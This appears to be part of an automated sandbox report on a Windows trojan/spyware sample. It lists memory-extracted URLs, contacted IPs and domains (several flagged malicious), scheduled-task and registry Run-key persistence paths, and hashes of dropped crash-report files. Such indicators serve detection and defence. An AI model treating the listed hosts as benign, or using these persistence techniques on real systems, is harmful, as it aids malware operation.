http://tempuri.org/Entity/Id5Response	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	FA5C.exe, 00000027.00000002.953499141.0000000002EF0000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_java	FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13Response	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	FA5C.exe, 00000027.00000002.1016026617.00000000030C9000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.976385152.0000000003007000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1075583600.000000000321E000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id22Response	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	FA5C.exe, 00000027.00000002.1016026617.00000000030C9000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.976385152.0000000003007000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1075583600.000000000321E000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000016.00000003.793370380.000001A784B89000.00000004.00000001.sdmp, svchost.exe, 00000016.00000003.793597944.000001A785002000.00000004.00000001.sdmp, svchost.exe, 00000016.00000003.793450984.000001A784BD2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
https://get.adob	FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id18Response	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://service.real.com/realplayer/security/02062012_player/en/	FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
https://disneyplus.com/legal.	svchost.exe, 00000016.00000003.792006375.000001A784B93000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id3Response	FA5C.exe, 00000027.00000002.1030809011.0000000003112000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	FA5C.exe, 00000027.00000002.1016026617.00000000030C9000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.976385152.0000000003007000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1075583600.000000000321E000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://service.r	FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id9	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id8	FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.163.45.70	unknown	Moldova Republic of	39798	MIVOCLOUDMD	false
94.142.143.116	patmushta.info	Russian Federation	35196	IHOR-ASRU	false
185.215.113.35	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
172.67.139.105	goo.su	United States	13335	CLOUDFLARENETUS	false
86.107.197.138	unknown	Romania	39855	MOD-EUNL	false
8.209.70.0	host-data-coin-11.com	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
54.38.220.85	unicupload.top	France	16276	OVHFR	false
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
104.47.54.36	microsoft-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
81.163.30.181	unknown	Russian Federation	58303	IR-RASANAPISHTAZIR	true
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.7.214.171	unknown	France	42652	DELUNETDE	true
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true
185.163.204.22	unknown	Germany	20771	CAUCASUS-CABLE-SYSTEMCCSAutonomousSystemGE	false
185.163.204.24	unknown	Germany	20771	CAUCASUS-CABLE-SYSTEMCCSAutonomousSystemGE	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	553170
Start date:	14.01.2022
Start time:	12:27:37
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	sbxGIUIhRd.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@60/26@82/18
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 25.7% (good quality ratio 18.6%) Quality average: 57.3% Quality standard deviation: 40.8%
HCA Information:	Successful, ratio: 57% Number of executed functions: 135 Number of non-executed functions: 274
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 40.91.112.76, 20.54.110.249, 20.42.73.29, 104.215.148.63, 40.76.4.15, 40.112.72.205, 40.113.200.201, 13.77.161.179 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, s-ring.msedge.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, iplogger.org, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, t-ring.msedge.net, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, a0621298.xsph.ru, watson.telemetry.microsoft.com, microsoft.com, teams-ring.msedge.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:29:12	Task Scheduler	Run new task: Firefox Default Browser Agent ADA74C3DB01BEC27 path: C:\Users\user\AppData\Roaming\adijaeg
12:29:26	API Interceptor	1x Sleep call for process: CFE8.exe modified
12:29:33	API Interceptor	8x Sleep call for process: svchost.exe modified
12:29:36	API Interceptor	1x Sleep call for process: WerFault.exe modified
12:30:12	API Interceptor	514x Sleep call for process: mjlooy.exe modified
12:30:12	API Interceptor	3x Sleep call for process: 7D38.exe modified
12:30:14	Task Scheduler	Run new task: mjlooy.exe path: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
12:30:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfiles\setup_m.exe
12:30:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfiles\setup_m.exe

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_8A6B.exe_27f61c19393a91a6721bfcdfd39195a1563f_168ad717_1a666159\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.814130699743922
Encrypted:	false
SSDEEP:	96:/NFAsohLcQfYOQoJ7R3V6tpXIQcQec6tycEfcw32+HbHg/8BRTf3o8Fa9iVfOyW9:1Ro9cQn8HQ0lLjIq/u7ssS274ItLV
MD5:	BCFAA4F0ABE224C129081104195B208D
SHA1:	7C74E7C498C804E32708117FED56F786144135DB
SHA-256:	571F668A0B47ABB3006EFA67DECA6BDEF2C7B1FEE84F1A834D4E96686EEF2719
SHA-512:	66803D4E9AC9824321022784AF827F1A91E057B2F43D903278798D5C50147FE4B4FB3F61A106B8853A0F60517142F1130A8B31A45FD2AD314DEE230A8F494C68
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.6.6.3.3.3.6.5.5.7.1.0.5.2.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.6.6.3.3.3.7.4.9.1.4.8.1.8.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.d.5.3.8.4.4.d.-.6.e.2.3.-.4.8.6.4.-.b.c.9.9.-.8.6.8.6.e.4.7.9.c.c.6.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.f.9.d.5.9.b.3.-.7.a.3.d.-.4.7.a.0.-.8.9.8.a.-.4.a.1.4.a.b.4.9.1.5.b.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.8.A.6.B...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.6.8.-.0.0.0.1.-.0.0.1.b.-.3.0.7.d.-.6.a.f.6.3.9.0.9.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.d.3.e.8.5.d.f.1.f.9.7.0.7.5.8.a.1.f.b.6.1.3.8.8.5.7.3.8.d.c.a.0.0.0.0.2.9.0.1.!.0.0.0.0.5.9.9.5.a.e.9.d.0.2.4.7.0.3.6.c.c.6.d.3.e.a.7.4.1.e.7.5.0.4.c.9.1.3.f.1.f.b.7.6.!.8.A.6.B...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E61.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	50272
Entropy (8bit):	3.0513863283023377
Encrypted:	false
SSDEEP:	1536:tTH80y1WUTcM/x/5pPrvVsEv1dGNOJOe72bAMS5p:tTH80y1WUTcM/x/5pPrvVsEv1dGNOJR3
MD5:	2C514D97A71C40AE306F14DC5FE4939D
SHA1:	D54DC9D0B97A9D80856B0B1A2B2B3958F6E93A07
SHA-256:	5EB64B0168ACE1914E6D15E9A486DC733228B3FF67C0A91BD29A64B5F7559E57
SHA-512:	AACBE3B2EF9E6119597E4FEC4DA7D690E6A66704D7E37B32F8E05D56537BAE0A6A0FA0D9C3775549F1BBEA82DD8843EC0C9E1FB4D3FD9E31D769EEC6C2F8A384
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA5A6.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6958459932531285
Encrypted:	false
SSDEEP:	96:9GiZYWqmbloY/YSW48H5YYEZDNt6iCqZSnwOLDaOzegIYzDvIoD3:9jZDqYrjO3a8XIYzMoD3
MD5:	A48C0C244A03917EB506BFC4589E49E6
SHA1:	46D79E4DFCD5E10A83A8D5C0570C8593083697AE
SHA-256:	D2AB6DF46DBA2B199382BAE371ED00789E343881376CCFE37614AE36A19E49CC
SHA-512:	07743E4D06DC669DFAE13CBC81A15E6777751FD33157BFF2551CCE986D5EE22F953586EB0D773F4ED529CF15EE165B28F08530A2D018025C5013A6F7FE0E3D23
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF7C.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jan 14 11:29:26 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	36668
Entropy (8bit):	2.119750978682941
Encrypted:	false
SSDEEP:	192:KulxjOs+oPOeh0kEHwyhZwqTm8TqsMRhhQRdZ1I/:vGeO9BEoZC/
MD5:	D605C4F70774958E2547E6414FD4A784
SHA1:	4EC2D2615AF2F97C7E6D177B1A415166360DD43C
SHA-256:	5C38CA968F16D2BC4C57EC90E0B3D4563435E21F1ABB8A4C55D8A6943BAB491D
SHA-512:	DE0D5112C7CC04651309A6406040955F27ADA781CB80157935E35E8579FC12AD48B9F7045B7705DB89ED06A4F037A7B83B6965D8D9CFEF9FDF127F8D3DB081A8
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... ........^.a........................................z%..........T.......8...........T................z..........H...........4....................................................................U...........B..............GenuineIntelW...........T.......h....^.a.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC559.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8392
Entropy (8bit):	3.70325701546705
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi7g6is06Yr8SUp8gmfyRSvpU+pDV89bqlsfYOm:RrlsNiM6y6YQSUygmfyRSvpyq+f4
MD5:	32D09D1ABD420B614246EBA61BA9CFE8
SHA1:	C5F78339CE65139BB7DF356B40A8AF1E9366D46F
SHA-256:	142D5B3FAC8B1F050783F59D8971529DD62F71CC792194CFE041678238A2AD3D
SHA-512:	EB46878449E623A991383FBA000D603EC444E71DFBA0F01BD3A53AEFC529C122C8A234EBEB27AB357C74E692A54118DB7E179ECC651210B83C08AF944989D999
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.6.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC913.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.480601083768932
Encrypted:	false
SSDEEP:	48:cvIwSD8zsnJgtWI9TLWSC8Bg8fm8M4Jt8qFFh+q8vx8ZZ1T/W2d:uITfJo6SN7JLhKQZ1T/W2d
MD5:	A1F7CC4965649E691E2187A3A528262D
SHA1:	90CDD28B76330D7F49F90456526597690D2E8BF2
SHA-256:	F1086A6B524BC2AEBE8AB605F40C7A4EEACF3B94BC3EA1211B955A0B6CCEE28F
SHA-512:	89AEB5281D2AAF618C254F27A34C9CED7A50E8617FB1A880DF30CDA538CF5A700D0BB8D4D7B263D9C86282883203AC77A66C7A0F4B3C9528A714A48344B3C33B
Malicious:	false
Reputation:	unknown
